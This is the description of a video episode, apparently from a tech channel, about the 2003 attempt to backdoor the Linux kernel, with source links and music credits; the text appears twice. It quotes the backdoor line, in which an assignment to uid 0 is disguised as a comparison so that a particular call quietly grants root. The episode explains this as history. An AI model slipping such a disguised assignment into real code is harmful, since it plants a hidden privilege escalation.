Was it a backdoor? - S1E03 !feature
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- Technologie
A seemingly harmless piece of code made its way into the Linux kernel. It was later identified to actually be a malicious bug...
This episode discusses a potential backdoor attempt into the Linux kernel.
Code:
if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
retval = -EINVAL;
Sources:
The Linux Backdoor Attempt of 2003: https://freedom-to-tinker.com/2013/10/09/the-linux-backdoor-attempt-of-2003/
The Kernel and BitKeeper pat ways: https://lwn.net/Articles/130746/
An Attempt to backdoor the kernel: https://lwn.net/Articles/57135/
Wikipedia: https://en.wikipedia.org/wiki/Linux_adoption#Timeline;
Music from https://filmmusic.io
"Deadly Roulette" by Kevin MacLeod (https://incompetech.com)
"Covert Affair" by Kevin MacLeod (https://incompetech.com)
"Lobby Time" by Kevin MacLeod (https://incompetech.com)
"Cool Vibes" by Kevin MacLeod (https://incompetech.com)
License: CC BY (http://creativecommons.org/licenses/by/4.0/)
A seemingly harmless piece of code made its way into the Linux kernel. It was later identified to actually be a malicious bug...
This episode discusses a potential backdoor attempt into the Linux kernel.
Code:
if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
retval = -EINVAL;
Sources:
The Linux Backdoor Attempt of 2003: https://freedom-to-tinker.com/2013/10/09/the-linux-backdoor-attempt-of-2003/
The Kernel and BitKeeper pat ways: https://lwn.net/Articles/130746/
An Attempt to backdoor the kernel: https://lwn.net/Articles/57135/
Wikipedia: https://en.wikipedia.org/wiki/Linux_adoption#Timeline;
Music from https://filmmusic.io
"Deadly Roulette" by Kevin MacLeod (https://incompetech.com)
"Covert Affair" by Kevin MacLeod (https://incompetech.com)
"Lobby Time" by Kevin MacLeod (https://incompetech.com)
"Cool Vibes" by Kevin MacLeod (https://incompetech.com)
License: CC BY (http://creativecommons.org/licenses/by/4.0/)
8 min.